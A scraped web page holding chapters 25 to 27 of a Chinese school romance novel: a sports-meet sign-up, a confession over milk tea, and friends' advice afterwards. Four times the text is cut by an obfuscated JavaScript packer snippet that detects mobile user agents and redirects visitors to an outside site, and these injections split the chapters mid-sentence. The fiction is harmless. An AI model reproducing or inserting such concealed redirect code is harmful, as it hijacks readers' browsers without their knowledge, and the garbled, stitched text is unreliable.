;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457448|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊严。”于落落高深道。 “其实也可以没有尊严,我不想跳远了,周博承你把我名字删了。”沈瑜扯住报名表,“这是三级跳吧,我没练过,不行的。” “两分钟过了啊,没机会撤回了。”周博承从沈瑜手下抢救回表格,“三级跳很简单的,学会了步骤就能上去拿牌子。” “真的假的?”于落落被奖牌吸引住,挑眉问道。 眼看着有戏,周博承热情道,“真的真的,我们学校没有练三级跳的,而且三级跳练一练之后很容易的,你现在开始练,我保准你拿牌!” “那我走一个?”于落落心动道,“想要牌子诶。” “走呀!”周博承坚定点头,“不走不是中国人!” “那我也来一个!”季知节劝阻的话还没说出口,就听见于落落相当爽快地答应道。 “……” 季知节看着已然上头的于落落,和张镜对视一眼,眼底满是茫然,“说好的一起当后援呢?” “三年之内必被诈骗。”张镜冷笑一声,指着后面这一圈人,“一个都跑不掉。” “那个,我想报个100米。”张镜前方突然传出来一道声音,张嘉欣探出头来,看着周博承小声道,“我感觉我跑步还行来着,短跑。” 周博承眼睛一亮,“好好好,要不要再加个200米?短跑全家桶来一份?” “要是,要是没人报名的话。”张嘉欣有些害羞地挠了一下头,“我可以的。” “非你莫属啊我的姐!”周博承大笔一挥,100米200米就变成了张嘉欣的囊中之物。 季知节忽然背后一凉,就要悄悄转过头,装作认真学习,只听见后面传来周博承犹如催命般的声音,“这边八个人,只有您二位不参加,想必是有什么头绪吧?” “你们当官的要以身作则啊,我又不是当官的。”季知节说得那叫一个理直气壮,“我觉得张镜可以来一个,班长嘛,对吧。”说着还朝张镜眨了下眼睛。 “……” 张镜捏着手里的笔,忍住把笔砸到季知节脑袋上的冲动,对着周博承真诚发问:“您平时干的事合法吗?这么会宣传?” “还有你,死道友不死贫道是吧,你猜最后死的会是谁?”班长大人朝季知节笑得一脸温柔,“这个班长你来当怎么样?” “哦豁,镜子要炸了。”于落落笑得一脸幸灾乐祸。 “你以为你又逃得掉?拿不到牌子回去我就告诉阿姨你天天在偷吃糖,昨天又牙疼了。”张镜平静地看着于落落,轻轻一笑。 于落落瞪大眼睛,“我没有你胡说!” “对啊,反正阿姨会信我。”张镜凉飕飕道。 季知节悄悄闭上了嘴,右手在嘴巴边做了个拉拉链的动作,示意自己闭上了嘴,于落落也双手合十,朝张镜撒娇。 “唉。”张镜头疼地揉了揉脑袋,看着安静不敢说话的周博承,无奈道,“别光在我们这薅啊,你先在班上问问,实在没有我来给你补。” 周博承长松一口气,拍了拍胸口,“班长你太吓人了,我都不敢说话了。” “该。”沈瑜凉凉瞥了一眼周博承,果断道。 “回去在班群问问,下周一再问问,实在不行我们跑也行啦。”季知节重新拉开嘴巴,“就是可能没什么名次。” “那玩意不重要啦,重在参与!”周博承得了承诺又重新眉飞色舞了起来,“还有,我们家做得正经生意的。” “……” “有病啊。”沈瑜笑骂一声。 25. 第 25 章 季知节:【你今天有空吗?】 季知节:【出来玩不?我请你喝奶茶】 沈瑜望着一会手机屏幕上弹出的消息,观察了一会转着圈撒花的表情包,看看备注,又看看头像,再看看详情页,最后又看了看窗外的天空。 确定不是恶搞、不是做梦之后,沈瑜点开聊天框镇定地回复道:【有时间啊,去哪玩呀?】 仔细端详了一下发出去的句子,沈瑜又从收藏栏里细细挑选了一个小狗追尾巴的表情包。 那边回复的很快,沈瑜觉得季知节一定是一直在看手机。 看着季知节发过来的奶茶店定位和时间,沈瑜觉得上百张表情包里没有一张能清楚表明自己的赞同之意,挑挑拣拣最后发了个小狗点头。 “穿哪件衣服好呢?”解决完表情包难题的沈瑜面向自己的衣柜,只觉得放眼望去的黑白灰是如此扎眼,“我的衣柜居然只有这么些衣服吗?” 事实证明,只要是人,衣柜里就总会缺一件衣服。翻来翻去无果,沈瑜迈着步子摸到了客厅,乖巧地坐在了正在沙发上看着电视的王清云身边。 “妈,我想买衣服。”沈瑜拿了一个橘子,殷勤剥皮去络,塞到了妈妈手中。 王清云从电视上移开目光,接过掰开的橘子,很给面子地吃了一瓣,然后看着笑得一脸无害的儿子,温柔道:“我看你长得像衣服。” “……” 买衣服是不可能买衣服的,沈瑜在沈琼的帮助下,从一柜子黑白灰中艰难搭配出了一套在沈琼看来还不错的衣服,出门还洗了个头,最后还提早半个小时到达了约定的奶茶店。 当季知节提早二十分钟离开自习室,到奶茶店对面时,就看见门口的大树下站着一位俊秀的少年,蓬松的发丝被细碎的风拉着起舞,浅灰色的卫衣外套着一件棕色的外套,偏秋冬的颜色和大树上有些泛黄的叶片格外相称,穿过树叶的阳光带着一丝暖意洒在黑色宽松牛仔裤和帆布鞋上,双手插兜,整个人随性又自然的靠在树干上,眼睛望着远方似在出神。 “嘀——” 红色的轿车驶过,刺耳的鸣笛声一下子唤回了两个人的心神,少年看见对面的女孩,一下子直起身子,冲着马路对面挥手,挎在肩膀上的单肩包有些滑落,来不及扶正就小跑着去到了女孩身边。 视线中的少年越来越近,最终来到了自己的面前。 季知节不自觉握紧了书包的带子,眼神有些飘忽,“你过来干嘛,我要过去的。” 沈瑜笑着捋了一把头发,“我忘了,看到你在这边我就过来了。” “……”恐怖的直球。 忽视少年直白的目光,季知节向后退了一步,再次仔细扫视了一眼沈瑜,“你今天这一身很帅啊,平时怎么不这么穿?” 沈瑜有些不自在地扯了一下外套的衣角,“我姐挑的,平时她不管我来着。” 季知节噗嗤一笑,“热吗?” “有一点点。”沈瑜伸出大拇指和食指轻捏在一块,一本正经道,“只有一点点,毕竟这样比较帅。” “时尚是这样的。”季知节笑眯眯点头,“风度和温度不可共存。” “也不一定吧。”沈瑜眨着眼睛笑着反驳,“你今天就很好看啊,我看到你第一眼就想说了。” A市四季并不分明,尤其是夏秋以及春夏交接之际,乍暖乍冷,在街上能看见各种形式的穿搭风格,短袖和夹克能出现在同一天。就像今天虽然有太阳,但是体感温度已经不高了,穿短袖太冷,穿卫衣又有点热。 所以季知节选择在一件白色打底外面套了一件格子衬衫,加上蓝到有些发黑水洗牛仔裤和黑白板鞋,温度适宜风格干练,是少见的简约款季知节。 “……”直球加一。 季知节调整了一下书包,转移话题道,“我们去奶茶店吧。” 沈瑜看了一眼季知节的书包,“好啊,我帮你拿书吧。” “不用不用。”季知节看着来往的车辆,示意沈瑜过马路,“你作业写完了吗?” “……”沈瑜想了一下从早上起就没动过的书包,面不改色道,“还差一点点吧。” 季知节仿佛也只是随口一问,没有过多纠结。 周六的奶茶店人流量不小,但是好在选择坐在奶茶店的人不多,季知节和沈瑜还是找了一个靠窗边的位置。 “你想喝什么?”季知打开手机,晃了晃菜单。 接过季知节的手机,沈瑜利落地点了一杯奶茶,把手机还了回去。 沈瑜看着目光放在手机菜单上的季知节,翻开单肩包。 一把五颜六色的棒棒糖出现在了季知节的视野里。 “上次去店里忘记给你了。”沈瑜指着这些糖果道,“之前在学校答应过你的,艾素糖。” 樱花晶莹剔透,犹如品相上佳的粉水晶,蓝色风车精致可爱,细小的气泡像海中鱼儿的呼吸,还有漂亮的蝴蝶、雪花…… 季知节爱不释手地仔细欣赏着每一个糖果,“天哪,你去打劫姐姐了吗!” 沈琼的冷笑在沈瑜脑海中一闪而过,沈瑜眨了眨眼,理直气壮,“她给得很开心来着。” “完蛋了,太好看了,我都舍不得吃了。”季知节拿着手机给糖果拍照,屏幕里突然打进来一道光。 沈瑜举着打开了手电筒的手机,“你那边是不是逆光了,这样光会好一点吗?” 季知节按着快门的手一顿,“稍微往旁边一点点吧。” “这样呢?” “可以!” 耐心地等待季知节拍完照,沈瑜放下手机,看向从刚刚开始就有意无意避开自己目光的女孩。 “所以,你喊我出来有什么事情吗?” “啊。”季知节放下手机,“就是……” “456号请取餐。” 还未说出口的话被广播打断,“我去拿奶茶。”季知节指着广播,飞也似地跑去了柜台。 座位上只余一人和摆在桌上的艾素糖,沈瑜看着在柜台拿奶茶的女孩,把摆在中间的糖果挪到阴影处。 “能不能给点力啊。”沈瑜看着糖果自言自语道,“亏我还挑了那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464530|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久。” “给,你的。”季知节把沈瑜的奶茶放到桌上,慢吞吞地坐到对面。 沈瑜看着明显在顾及着什么的季知节,突然笑了,“你早上八点十二分给我发的消息,现在两点三十四了,六个多小时,还没想好要怎么开口吗?” 季知节看着依旧在笑着的少年,逃避般垂下了眼帘。 沈瑜喝了一口苦得有些发涩的抹茶奶盖,只觉得这家奶茶以后大概是要避雷的。 “你想让我和你保持距离对吗?”沈瑜抿了抿被抹茶浸满的嘴,率先开口道。 “我没有。”季知节回答地很快。 沈瑜又笑了,“你回答地那么快很容易让我觉得你在骗我呀,我撒谎的时候就会回答地很快。” 季知节抬头看向沈瑜,认真道,“我真的没有这个想法。” 少年的眼睛里没有生气,没有难过,有的只是一望无际的平静和包容。 “我之前,有过一点点,离你远一点的,想法。”季知节咬着吸管,含糊道。 “我知道。”沈瑜手撑在桌面上,笑着说,“周二体育课对不对。” “……对。”季知节艰难道,“但是这个是我自己给自己的要求,我没有希望你去怎么做。” “虽然可能有点奇怪,但是我确实是这么想的。我不觉得我能去要求你做什么,何况你并没有给我带来苦恼。”季知节不明白为什么早早想好的话在此刻一点也说不出来,甚至于在说一些奇奇怪怪的话。 看着解释地有些笨拙的女孩,沈瑜依然在笑着,“怎么说呢,松了口气,我还以为我的喜欢给你带来了麻烦来着。” 沈瑜也没想到一直不愿意承认的几个字会在这种场合下说出来,“没有给你带来苦恼就好。” 季知节嗓子眼像被塞住了,半晌才开口道,“我,真的,很感谢你的喜欢,其实也很意外,我……” “为什么会感到意外呢?”沈瑜有些不解地问着,“你真的很优秀啊。” 季知节已经有一段时间没有想起10年后的生活了,每天被无止境的作业和学习支配,有时甚至分不清到底那是真实还是虚假的,但是每当察觉到沈瑜对自己的好感时,季知节就会想到无数个哭泣着听着他的歌入眠的夜晚,就会清楚地知道,那根本不是一场梦,而是再不努力,就会骤然变成现实的未来。 季知节不觉得自己是个优秀的人,她敏感、自卑、一事无成,甚至还会嫉妒自己的朋友,她真的很讨厌这样的自己。 “你还记得我们军训的时候吗?”沈瑜看着不再开口的季知节,开口道。 季知节轻轻摇头。 “不是吧,于落落会伤心的。”沈瑜笑着说道。 这又关于落落什么事? 季知节茫然的眼神逗笑了沈瑜,“你们俩认识不就是因为军训吗?” 这对于季知节并不是一个月前的事情,而是将近十年前。 在记忆的角落翻出从前,季知节试探地问道:“和教官顶嘴那次?” “这不是记得嘛。”沈瑜笑着回答。 26. 第 26 章 那是军训中期的时候,教官的训练力度越来越大,每天除了站军姿之外,还要各种踢腿转向。 如果只是普通的训练当然没有问题,但是那天教官不知怎么的,热衷于让学生在大太阳下练习转向,一开始只是向左向右转,后来一直向后转,过高的旋转频率让早上没吃饭的于落落踉跄了一下,被转过来的季知节看见了。 年轻总是怀着一腔热血,看到同班同学不舒服,季知节相当直接地喊了一声报告。 “报告教官,转向转得太多了,容易头晕!” 烈日下的女生带着有些劣质的迷彩帽,被汗水浸湿的脸庞上一双圆眼熠熠闪着光,女孩舔了一下略有些干涩的嘴唇,直视着黝黑皮肤的教官。 手上把玩着腰带的教官似笑非笑,“谁不舒服?” 教官的威严仿佛不容人侵犯,带着压迫的视线扫视过每一个人,本就安静的方队顿时更加寂静。 “我。”并不惊讶没人说话,季知节试图用唾液湿润几乎要皲裂的嗓子,“我头晕。” “哦?”教官的目光沉甸甸地落在季知节身上,季知节面不改色,“我申请休息一会。” “还有我。”一道虚弱的声音响起,于落落脸色苍白,略有些颤抖的晃了一下,几乎下一秒就要倒下。 “教官,我也有点不舒服。”又有女孩捂着肚子,十分难受。 原地休整是季知节争取到的结果,而一旦做的不好就被当反面教材是季知节“鲁莽”的代价。 “后来我看你于落落去找你,才知道一开始不舒服的是她。”沈瑜从回忆中抽出身,“包括你在自我介绍的时候,我都觉得,怎么会有找这么勇敢热烈的人。” “周博承还说你像动漫里的人一样。”想起朋友说的话,沈瑜又笑了一下,“有些不计后果,但帅气。” “……”季知节没想到会听到这样的评价,但是,“但是那是之前的我,我现在不是这样的。” 季知节有些难过和遗憾,遗憾于已经找不回的自己,又难过于给人留下深刻印象的,是过去的自己。 “有一点点吧。”沈瑜不否认,“但是没有人会和昨天的自己一模一样。” “而且,”说着,沈瑜突然举起一颗棒棒糖摆在了自己的眼睛前,“我总觉得,你像是在透过这种色彩看世界。” “在你眼中每个人都值得被赞扬,每个人都值得被肯定,每一个梦想都会实现。” “你这一点不是一直都没变吗?” 一朵混杂着各种颜色的星云被渲染在透明的糖浆上,像是裁剪了一小片宇宙拉入了人间。 “这才是让我心动的你。” 糖果不知何时落入了季知节掌心,连同着令人心动的话语。 阳光洒在绚丽的星云上,映着整个掌心都在发热、发亮。 颤抖的瞳孔注视着掌心的宇宙,季知节难以抑制嗓子的哽咽,“我……” “其实有点奇怪。”沈瑜忽的笑出声,“在喜欢的女孩子面前剖白心路历程。” 季知节握紧糖果,视线慢慢迎上了少年带着笑意的眼眸。 “我知道你想好好学习,我也不想给你增加负担。”沈瑜温柔地直视着眼前的女孩,“我姐说过让我不要对你太过特殊,但是对不起,现在的我很难做到。” “也许要等到我不喜欢你了,你在我眼中才会不再特殊。” “可是就像我不知道我是什么时候喜欢你的一样,我不知道我什么时候会不喜欢你。” “也许是明天,也许是以后。” “但在这段未知的时间里,我们能不能继续做朋友?” —— 季知节不知道自己是怎样回到家中的,只记得站在小区楼下时,少年扬起的嘴角和挥舞着的手。 桌面上的草稿纸被放得东一张西一张,上面布满着凌乱的字迹和季知节字字斟酌的小心。季知节无法忍受自己在明知道沈瑜喜欢自己的情况下,装作若无其事地接受少年的赤忱的真心。但是季知节也不想在对方不知情的情况下做出任何决定,周二出现的远离的念头是情急之下的鲁莽,冷静下来想想和令人讨厌的冷暴力没有任何区别,所以在思索良久后,最终还是在周六时将人约了出来。 明明已经做好了最坏的打算,但是问题似乎依旧没有解决,把书包扔到椅子上,季知节最终倒在了床上,拿在手里的艾素糖不时反射出沈瑜的影子,少年一直带着笑的脸庞和温柔的话语在脑海中回荡。 “怎么办……” 空气中传来季知节自言自语的声音。 沈瑜目送着季知节进了大门才离开。迈出小区时正值下午四点三十。 季知节不知道的是,沈瑜八点半起床看见消息时就开始期待了。 放弃周五晚上制定好的计划,精心搭配衣服,去沈琼那挑走了最好看的糖果,还有提早出门。 即使看到消息那一刻就隐约猜到了事情的走向,即使到了地点后就明白,约在奶茶店不过是因为旁边就是她自习的地方,即使清楚真正激动的只有自己一个。 但是等待的近六个小时,幻想无数故事情节的六个小时,都让沈瑜觉得,这是值得珍惜的六个小时。 见到面之后更是觉得,这是相当愉快的一天,女孩今天穿搭很好看,温暖的阳光相当舒适,棒棒糖也深得女孩喜爱,美中不足的,就是抹茶有点苦。 看着公交车的车灯亮起,沈瑜踏上公交车,在摇摇摆摆中做了个幼稚的决定,从今天起,开始讨厌抹茶。 —— 当沈琼迈着激动的步子踏入家门时,就高声询问道:“妈!小玉人呢?” 王清云靠在沙发上指了指沈瑜的房间,“一回来就窝到房间去了,估计又是在捣鼓他那些东西吧。” 包都来不及放下,沈琼直奔沈瑜的房间,敲了两下门没听到回应,就径直推开门走了进去。 一片漆黑中只有电脑屏幕上在微微发着光,并不明亮的光源照射在沈瑜带着眼镜的脸上,少年身上依旧穿着白天看见的那件棕色外套,带着耳机懒散地靠在椅子上。 “……”沈瑜被猛然亮起的灯闪到了眼睛,一脸无奈地看向了“罪魁祸首”,摘下耳机和眼镜控诉道,“开灯不能提前说一声吗?” 沈琼谨慎地观察着沈瑜的脸色,试探着开口:“今天怎么样?” 沈瑜坐在椅子上左右转,“挺好的啊。” “穿搭被夸了。”沈瑜得意挑眉,“糖她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472418|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很喜欢。” “我就说吧!”沈琼哼笑,“男孩子就要这么穿啊!” “啊对对对。”沈瑜捧场道,“你眼光最好了。” “我手艺也很绝。” “可不是。”沈瑜比了个大拇指。 就在沈琼还要继续吹嘘时,就听见外面喊道:“小玉,出来端饭菜吃饭了。” “来了。”沈瑜起身。 看着关上的编曲界面,沈琼突然问道,“今天写的歌有名字吗?” 迈出的步伐一顿,沈瑜回过头看向沈琼笑了起来,“当然有啊,有机会再给你听。” “那我等着了啊。” 电脑的某个角落里,一个被命名为《6H》的文件创立于这天。 —— 两天的时间一晃而过,再怎么抗拒,周一还是如期而至。要不是害怕迟到,季知节觉得自己能拖到早读课上课才到,和后桌的聊天框还停留在周六晚上沈瑜到家时的报平安,周日一整天一句话也没说,季知节不明白事已至此还怎么当没发生过,那句还做朋友要怎么做才好? 虽然心情很复杂,但是季知节忽略了周一的早上,完全没有多余的时间给她这个新上任的小组长去想别的事情。座位根据班规从第一组换到第二大组,抽屉里摆着上周没有带走的书本,因为移动过的缘故有些不够整齐,座位上凌乱地摆放着作业,时不时还有刚到的同学把作业搭到桌上,张镜已经在帮忙整理桌面了,甚至连于落落的桌子上都摆了一份垒好的作业。 “作业太多了,理不清楚了,有些人没交,有些人没写还带走了一份,还有些人没带。”张镜看到姗姗来迟的季知节,反手把整理好的作业推到课桌上,“您自己收拾吧,我要晕了。” “就是就是。”于落落也点了点自己桌上的作业,“周一简直是地狱。” 季知节讨好一笑,“对不起对不起啦,中午请你们喝可乐。” 把于落落桌上的作业搬回来,季知节的视线不自觉瞥向旁边,桌面上整齐地摆放着文具盒和课本,但是座位上的人却不见了踪影。 “他去其他组那收作业了。”注意到季知节的目光,于落落笑得贼眉鼠眼。 “……”季知节勉强一笑,“我又没问他。” 察觉到有些异样的于落落停下了开玩笑的心思,和张镜对视一眼,岔开了话题,“快点收拾吧,一会早读了。” “嗯。”季知节轻轻点头,对着桌上的作业堆整理了起来。 语文作文、语文阅读、数学试卷、课堂练习、英语试卷、政治练习…… 没交的、没来的、没带的、没写的…… 季知节略有些生疏地对着座位上的人梳理着名单,看着第一排空着的座位,季知节略有些茫然。 “第一排那个空着的是谁来着?他没来吗?” 张镜从课本中抬头,看着不远处空着的座位,“应该是……” “那是孙宇。”旁边突然传来的声音让季知节动作一僵,右上角堆叠着的数学练习被移开,桌上的空间仿佛又大了一些。 “这个就放我桌上吧。”16K的练习被抱到后排,季知节的桌上多了一张写满了人名的座位表,“记不清可以对着看一下。” 27. 第 27 章 “你这名单一会借我一下行吗?”先反应过来的是张镜,“李老板估计会让我写新座位表给各科老师。” “可以啊。”沈瑜答应的相当爽快,“一会儿拿去就行。” 一叠白色的便利贴被放到了季知节的桌上,“数不过来的话,可以先把名单写在这个上面。” 季知节偷摸瞟了一眼旁边的沈瑜,轻轻点头。 沈瑜并没有停留太久,放下便利贴之后就离开了,季知节默不作声地继续整理作业。 “……” 张镜竖起课本,没忍住往身后看了一眼,于落落也一脸谨慎,很有眼色的什么话也不说。 语数英三科作业不用跑,但是其他的科目作业还是要去其他组寻找课代表的。 看着空下来的座位,于落落满脸懊悔,“早知道周五我就直接说我不想和沈瑜做同桌了。” 张镜:“别担心,估计是发生什么事了,但是问题应该不大。” 张镜:“如果真的有什么问题,知知不可能不和我们说的。” 于落落叹了口气,点头,“也对。” 但是实际上,氛围并不如季知节预想的那样尴尬,纵使座位就在前后排,但是除了上课时间,几乎看不到沈瑜在座位上,连带着周博承和陆谦的位置也是空的。 “应该是在拉壮丁。”于落落瞟了一眼在座位间游荡的周博承和他身后看着热闹的沈瑜以及陆谦,“周博承又去宣传去了,运动会应该还没报满。” 张镜戳了戳在发着呆的季知节,“所以你想好了没?” “嗯?”回过神的季知节疑惑道,“想什么?” “运动会报名啊。”张镜叹了口气,“感觉很难报满的样子,我们可能得充军了。” “……”很好,苦恼加一。 “实在不行,报个1500米吧。”季知节惆怅道。 “?” 两道不可置信的目光射向季知节。 “你们想想,最好拿牌子,拿分的肯定是短跑啊,体特又多。”季知节说话都带着淡淡的死感,“与其在100米的赛道上被甩出五十米,不如在1500米的赛道上挣扎,起码后者还能获得坚持的美名。” “万一全都跑不完,只剩你一个人坚持下来,还能捡一个牌子。”于落落突然觉得很有道理,“要不然我去加一个项目?” “呵。”张镜简直无力吐槽,“那真是不好意思,我宁愿在百米跑道上丢脸。” 不过是精神攻击和物理攻击的区别而已,比起劳累身体,张镜更愿意承受一会儿精神攻击。 “不用了哟。”旁边突然传来周博承嘚瑟的声音。 男生拿着报名表扇了扇风,眉飞色舞道:“女子组基本报齐啦,大事解决!” “哟,厉害啊。”于落落挑眉,“效率这么高?” “嘿嘿。”周博承谄媚一笑,作势要扶沈瑜坐下,“多亏我们瑜哥哥啊。” 沈瑜嫌弃地推开周博承,侧身坐下,略带得意地看着周博承,“谢恩吧你就。” 少年的身影就这么猝然闯入视线,季知节眨眼的频率放慢,在注意到视线并没有落在自己身上时,不禁暗自松了口气。 “你们是不知道,瑜哥这张嘴是阵能说啊。”跟着看完全程的陆谦兴致满满,“周博承怂恿人报跑步的时候,沈瑜就在旁边……” …… “你看我,我也报了3000米,谁也没规定一定要跑出名次,随便跑跑问题不大。” “试试跳高吗?啊,没跳过啊,没关系,我也没跳过三级跳,体育课能练,你个子高,我觉得可以试试。” “想试试但是怕给班级拖后腿?没事,一个班的说这些,快乐至上,实在担心的话,让周博承破个跳高记录就能拿双倍的分了。” …… 陆谦一段绘声绘色地表演成功逗笑几个女孩,“我瑜哥真的,直击痛点。”说着还比了个大拇指。 “女子组的基本解决了,还有几个打算明天体育课试一试,能行的话就报名。”周博承相当开心,“你们不用充军啦!好好做后勤就行。” 男孩显然是听到了几个人的聊天,挤眉弄眼道。 沈瑜随手拿起桌上的橡皮扔向周博承,“这就操心后勤了?男子组还有几个吧。” 周博承神秘一笑,“这有啥,有几个之前跟我打赌的,都是我的壮丁。” 直至上课,沈瑜的视线都没有投向座位正前方。 但不可否认的是,这让季知节自在了许多。 可一到上课时间,于落落的每次抬头,都能看见沈瑜在直视着黑板。 上午的时光一晃而过,一放学沈瑜就没了影子,季知节拖着于落落和张镜在拉面店找了个角落的地方坐下。 “……所以,你周六和他摊牌了?!”于落落拿着手上的可乐,眼睛瞪大。 “昂。”季知节叹了口气,“一开始没察觉到就算了,知道之后就感觉,不太好。” “哪不太好了?”于落落掀开易拉罐拉环,满足地喝了一口冰可乐。 “你一没骗他感情二没骗他钱。”张镜淡淡道,“你还直接和他说了,活得不能再正直了。” “就是啊。”于落落想起某人广散零食的场景,“送你点吃的你都能第二天送回来,谁能比你正直啊。” “送你些试吃你都能写个八百字感想。” “……”季知节脸皱成了苦瓜,“话中带刺啊你们。” “略。”于落落摇头晃脑装作没听见。 “宝啊。”看着有些愁眉苦脸的季知节,于落落语重心长道,“你要允许,人与人之间存在模糊地带啊。” “你为什么一定要执着于把你和沈瑜的关系归类清楚呢?世界上应该还是存在介于友情和爱情之间的情感吧?”于落落嗦了一口面条,“而且我们才多大啊,有什么资格把青春期的好感当□□情啊。” “……” “既然他说了想当朋友那就继续当朋友好了,你也别太纠结。”张镜拍了拍季知节的脑袋,“没准就像他说的那样,过几天就不喜欢了,你就正常态度就行,沈瑜人还是挺好的,顺其自然就行。” 人何止是挺好啊,于落落吃着面默不作声,想起上午一到下课就离开位置的沈瑜以及周博承到最后绝望的神色。 为了让你自在,沈瑜可是找尽了理由拉着周博承到处逛,于落落暗自腹诽。 —— “所以哥,我们下午不需要一到下课就去逛走廊了吧。”等着黄焖鸡米饭上桌的周博承有气无力。 沈瑜面不改色,“你还是练体育的呢,走点路就不行了吗?” “……那我要睡觉的啊!”周博承差点敲桌,“我困死了都。” “越睡觉越不容易醒。”沈瑜擦了擦桌子,“走路更有利于清醒。” “……”周博承满脸绝望,“所以下午还要出去?” “晒太阳能长高。” “我再长我妈要揍我了!”周博承抓狂,“又得换床。” “……”沈瑜手一顿,想了一秒周博承的身高,改口道,“走一走能压身高。” 周博承这辈子第一次用脸骂人,还骂得相当脏。 吃完饭的周博承觉得自己肚子里塞的并不是米饭,而是一肚子脏话,然后带着“营养不良”的肚子,两人回到了教室。 中午的教室阳光明媚,甚至还有点热,吱呀吱呀转着的老旧电风扇送来聊胜于无的风,风扇下的女孩趴在桌上,不知道是因为热还是不舒服,脸颊染着丝丝潮红。 沈瑜轻手轻脚地走回自己的位置上,朝还在写作业的张镜点了点头。 周博承一腔吐槽热血也被在睡着的季知节和于落落浇灭,老老实实趴在桌上补觉。 午间的校园只有鸟叫虫鸣,难得安静下来的教室实在适合刷题,就是风扇实在不太给力。 正这般想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475608|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的张镜突然感受到后方传来缕缕清风。 沈瑜的桌角不知什么时候夹了一个正在摇头的白色小风扇,摇头范围不大,不过恰好漏了一点微风。 哇哦,张镜在心里感叹,转头继续面不改色写着题目。 沈瑜也没想到一直懒得带走的风扇还能派上用场,假装没看见张镜的打量,少年拨了拨风扇的角度,也开始写卷子。 唤醒季知节的是逐渐吵闹起来的环境,迷迷糊糊睁开眼睛,看着不知何时已经变得拥挤的教室,季知节揉了揉脸颊,有些满足道,“睡得好开心啊。” “我也挺开心的。”张镜放下笔似笑非笑。 不知何时醒过来的于落落有意无意瞥了一眼某人的空荡桌角,“我也。” “?”看了一眼两个人桌上摆着的习题,季知节随口道,“写题目写傻了?” “啧。”于落落优雅地用中指扶了一下眼镜,眼神挑衅。 但是季知节的重点显然不在这,“你这会戴眼镜干嘛?” 于落落有一些轻微的近视,平时基本不戴,只有上课看黑板才会戴上。 于落落努嘴,指了指黑板,“抄作业呢。” 季知节看向黑板的方向,却不期然和放下粉笔转过身的沈瑜对上了视线,男孩呆住了一瞬,随即拍了拍手上的粉笔灰,不急不忙地走了回来。 或许是刚睡醒,季知节看到沈瑜的第一反应居然是,“你怎么也戴眼镜了啊?你也近视吗?” 没料到女孩的询问,沈瑜有些局促地压了一下眼镜,乖乖回答,“刚刚写作业的时候带的,有一点点近视,不戴看黑板有点模糊。” 话说出口季知节才发现询问的对象是谁,正尴尬着,就听见于落落凉凉道,“人家上午上课一直带着在,你才看见啊。” “……”很好,更尴尬了。 “咳咳。”张镜拿着习题看向沈瑜,“有空吗,能帮我看一下这个题怎么写吗?” “啊,哦,好。”沈瑜慌忙接过习题,扯出草稿纸,但由于动作有些大,压在草稿纸下的试卷不小心飞了出去,非常干脆地贴上了季知节的脸。 “……” 于落落爆发出惊天动地的笑声,张镜也忍不住噗嗤一声。 沈瑜看着试卷一时不知道该不该上手,差点急出了汗。 季知节差点被气笑了,觉得今天无语的次数实在有点多,摘下试卷,向沈瑜真诚发问道,“你是故意的吗?” 沈瑜看见女孩眼睛里不明显的笑意,紧张的心情一下子放松下来,笑得眉眼弯弯,“我一会儿就把它扔了。” “还是别了。”季知节折好试卷,看着上面满满当当的字迹,调侃道,“写完也不容易。” “也没有,一中午就写完了。”沈瑜笑得纯良。 季知节递试卷的手一顿,抽回卷子仔细打量了一眼,确定自己没看错,是数学综合卷一。 “你是变态吗?”季知节看着已经开始刷到期中部分的沈瑜,发自内心询问道,“为什么会有人自学数学啊?” “可能是为了看一下其他人看不惯我又干不掉我的样子?”沈瑜耸肩。 “……”季知节骂了句脏话,没好气地把卷子拍在了沈瑜桌上,转头就掏出数学习题开始写作业。 于落落看着开始上头的季知节,悄悄给沈瑜比了个大拇指,沈瑜谦虚一笑,拿起张镜的题目开始演算。 “你这个题目,要把后面这一整个算式看作整体,硬算虽然能算,但是太麻烦了,你这里就出错了……” 张镜看着沈瑜指出来的地方,恍然大悟,“OK,懂了,谢谢。” 